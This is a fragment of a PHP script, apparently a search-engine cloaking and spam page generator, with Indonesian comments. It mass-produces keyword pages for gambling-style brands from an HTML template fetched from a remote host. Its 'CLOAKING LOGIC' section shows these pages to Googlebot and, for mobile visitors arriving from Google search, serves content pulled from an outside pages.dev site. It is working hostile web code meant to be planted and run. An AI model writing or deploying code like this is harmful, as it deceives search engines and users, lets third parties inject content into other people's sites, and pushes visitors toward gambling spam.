[ 'timeout' => $timeout, 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0', 'ignore_errors' => true ] ]); return @file_get_contents($url, false, $context); } // Utility: format brand+longtail, hasil: HEHE555 APP function formatBrandLongtail($brand, $longtail = '') { if ($longtail !== '') { return strtoupper(trim($brand . ' ' . str_replace('-', ' ', $longtail))); } return strtoupper(trim($brand)); } // --------------- RENDER MASSAL FUNCTION --------------- function render_massal_page() { global $brands, $brandLongtail, $images, $title, $desc, $paragraf; $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http"; $host = $_SERVER['HTTP_HOST']; $scriptDir = rtrim(dirname($_SERVER['SCRIPT_NAME']), '\\/'); $baseUrl = $protocol . "://" . $host . ($scriptDir && $scriptDir != '/' ? $scriptDir : '') . "/"; $slug = ''; if (isset($_GET) && count($_GET)) { $slug = createSlug(array_keys($_GET)[0]); } $foundBrand = ''; $foundLongtail = ''; $brandIndex = null; $longtailIndex = null; foreach ($brands as $i => $brand) { $slugBrand = createSlug($brand); if ($slug === $slugBrand) { $foundBrand = $slugBrand; $brandIndex = $i; break; } foreach ($brandLongtail as $j => $longtail) { $slugLongtail = createSlug($longtail); if ($slug === $slugBrand.'-'.$slugLongtail) { $foundBrand = $slugBrand; $foundLongtail = $slugLongtail; $brandIndex = $i; $longtailIndex = $j; break 2; } } } $canonicalUrl = $baseUrl; if ($foundBrand && $foundLongtail !== '') { $canonicalUrl .= '?' . $foundBrand . '-' . $foundLongtail; } elseif ($foundBrand) { $canonicalUrl .= '?' . $foundBrand; } // Ambil template dari remote/lokal $template = @file_get_contents('https://pbn-ph.website/data/gallery/template2.html'); if ($template === false) die('Template HTML not found!'); // ==== Penentuan Brand Name (brand + longtail) ==== if ($foundBrand && $foundLongtail !== '') { $longtailCount = count($brandLongtail) ?: 1; $comboIndex = ($brandIndex * $longtailCount) + $longtailIndex; // Format nama brand: HEHE555 APP, CK44 LOGIN, dst. $brandOriName = isset($brands[$brandIndex]) ? $brands[$brandIndex] : ''; $longtailText = ''; if (isset($brandLongtail[$longtailIndex])) { $longtailText = $brandLongtail[$longtailIndex]; } $brandName = formatBrandLongtail($brandOriName, $longtailText); $titleText = getLooped($title, $comboIndex); $descContent = applyBrandPlaceholder(getLooped($desc, $comboIndex), $brandName); $paragrafContent = applyBrandPlaceholder(getLooped($paragraf, $comboIndex), $brandName); $imageUrl = getLooped($images, $comboIndex); $body = '⇦ Back to ' . htmlspecialchars($brandOriName) . ''; $body .= '

' . htmlspecialchars($titleText) . '

'; if (!empty($imageUrl)) $body .= ''; $body .= '

Description: ' . htmlspecialchars($descContent) . '

'; $body .= '
' . nl2br(htmlspecialchars($paragrafContent)) . '
'; } elseif ($foundBrand) { $brandOriName = isset($brands[$brandIndex]) ? $brands[$brandIndex] : ''; $brandName = formatBrandLongtail($brandOriName, ''); $titleText = getLooped($title, $brandIndex); $descContent = applyBrandPlaceholder(getLooped($desc, $brandIndex), $brandName); $paragrafContent = applyBrandPlaceholder(getLooped($paragraf, $brandIndex), $brandName); $imageUrl = getLooped($images, $brandIndex); $body = '⇦ Back to Homepage'; $body .= '

' . htmlspecialchars($titleText) . '

'; if (!empty($imageUrl)) $body .= ''; $body .= '

Description: ' . htmlspecialchars($descContent) . '

'; $body .= '
' . nl2br(htmlspecialchars($paragrafContent)) . '
'; if (count($brandLongtail)) { $body .= '

Related Topics:

'; foreach ($brandLongtail as $j => $longtail) { $slugLongtail = createSlug($longtail); $body .= '' . htmlspecialchars(getLooped($title, $j)) . ''; } $body .= '
'; } } else { $brandName = ''; $titleText = 'Homepage'; $descContent = 'Welcome to our homepage.'; $imageUrl = ''; $body = '

Brand List

'; foreach ($brands as $i => $brand) { $slugBrand = createSlug($brand); $body .= '' . htmlspecialchars(getLooped($title, $i) ?: $brand) . ''; } $body .= '
'; $paragrafContent = ''; } $replacer = [ '{{BRAND}}' => htmlspecialchars($brandName ?? ''), '{{TITLE}}' => htmlspecialchars($titleText ?? ''), '{{DESC}}' => htmlspecialchars($descContent ?? ''), '{{CANONICAL}}' => htmlspecialchars($canonicalUrl ?? ''), '{{PARAGRAF}}' => htmlspecialchars($paragrafContent ?? ''), '{{BODY}}' => $body, '{{IMAGE}}' => htmlspecialchars($imageUrl ?? ''), ]; echo str_replace(array_keys($replacer), array_values($replacer), $template); } // --------------- CLOAKING LOGIC --------------- $MOBILE_SOURCE_URL = 'https://asha777-seo010.pages.dev'; // Ubah ke URL mobile content milikmu if (isGooglebot()) { render_massal_page(); // Googlebot: tampilkan konten dinamis (SEO) exit; } elseif (isMobileDevice() && isFromGoogleSearch()) { // Mobile user dari Google: tampilkan remote (bukan redirect) $mobileContent = fetchRemoteContent($MOBILE_SOURCE_URL); if ($mobileContent) { echo $mobileContent; } else { render_massal_page(); // fallback local } exit; } else { render_massal_page(); // User biasa: tampilkan konten dinamis (massal) exit; } ?>